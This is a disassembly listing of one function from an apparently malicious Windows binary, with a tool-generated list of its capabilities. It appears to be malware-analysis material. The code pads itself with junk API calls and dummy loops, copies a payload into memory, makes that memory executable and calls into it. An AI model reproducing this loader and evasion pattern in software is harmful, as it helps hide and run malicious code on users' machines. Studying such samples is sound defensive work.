Function at 0x408da0
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get geographical location
Get hostname
Set current directory

Disassembly:
sub esp, 0x45c
mov eax, dword [0x82507c]
xor eax, esp
mov dword [esp + 0x454], eax
mov edx, dword [0x83204c]
push ebx
push ebp
push esi
xor ebp, ebp
push edi
cmp edx, 0x7c
jne 0x408e1e
push ebp
push ebp
call dword [sym.imp.USER32.dll_LoadIconW]
push ebp
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push ebp
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [0x83204c], 0x2d
jne 0x408e0f
push ebp
push ebp
push ebp
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x24], ebp
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebp
call fcn.00401bc0
mov edx, dword [0x83204c]
add esp, 4
mov ecx, dword [0x826c80]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
mov edi, edi
cmp eax, 0x8450db
jne 0x408e3d
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x408e51
mov dword [0x827e38], edi
mov dword [0x827e3c], esi
inc eax
cmp eax, 0xb9fa618
jl 0x408e30
mov edi, dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
mov dword [0x83204c], edx
xor esi, esi
cmp esi, 0x562d05
jne 0x408e7b
mov ecx, dword [0x826c74]
mov dword [0x832184], ecx
cmp edx, 0x3c
jne 0x408e89
push ebp
call edi
mov edx, dword [0x83204c]
inc esi
cmp esi, 0x5f6c74
jl 0x408e67
cmp edx, 0x110a
jne 0x408f57
push ebp
mov dword [0x832050], ebp
mov dword [0x832054], ebp
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebp
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea ecx, [esp + 0x38]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebp
push ebp
call fcn.00401ae1
push ebp
push ebp
call fcn.00401bd6
push 0x30
push 0x8231b0
push str._s__c
push 0x827db0
call fcn.004015bc
xor edx, edx
add esp, 0x20
lea esi, [edx + 1]
lea eax, [esp + 0x1c]
mov dword [esp + 0x30], 7
mov dword [esp + 0x2c], ebp
mov word [esp + 0x1c], dx
call fcn.004010f0
push ebp
call fcn.00401b21
add esp, 4
push ebp
push ebp
call fcn.00401bd6
push 0x8231b0
push 0x827db0
call fcn.004015bc
add esp, 0x10
push ebp
call fcn.00401f57
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x83204c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x831ea8], eax
cmp dword [0x83204c], ebp
jbe 0x408fcd
mov edi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x408f90
mov ecx, dword [0x832184]
mov dword [esp + 0x14], ecx
mov eax, 0xa231
add dword [esp + 0x14], eax
mov edx, dword [esp + 0x14]
mov al, byte [edx + esi]
mov ecx, dword [0x831ea8]
mov byte [ecx + esi], al
cmp dword [0x83204c], 0x5ab
jne 0x408fc4
push ebp
push ebp
push ebp
call edi
inc esi
cmp esi, dword [0x83204c]
jb 0x408f90
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x83204c]
mov ecx, dword [0x831ea8]
lea edx, [esp + 0x18]
push edx
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00408cd0
call fcn.00408b10
mov ebx, dword [esp + 0x40]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
push ebp
push ebp
push ebp
call edi
cmp esi, 0x1a01e
jle 0x40901d
cmp ebx, 0xf5bed7
jne 0x409026
inc esi
cmp esi, 0x1ece7a52
jl 0x409008
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov ebp, 0x1519a5
mov ebx, 0x8e46a6f0
lea esp, [esp]
cmp dword [0x83204c], 0xcc1
jne 0x409050
push 0
call esi
cmp dword [0x83204c], 0x3dc
mov dword [0x831eac], ebx
jne 0x409068
push 0
push 0
call edi
dec ebp
jne 0x409040
mov ecx, dword [esp + 0x464]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004015ad
add esp, 0x45c
ret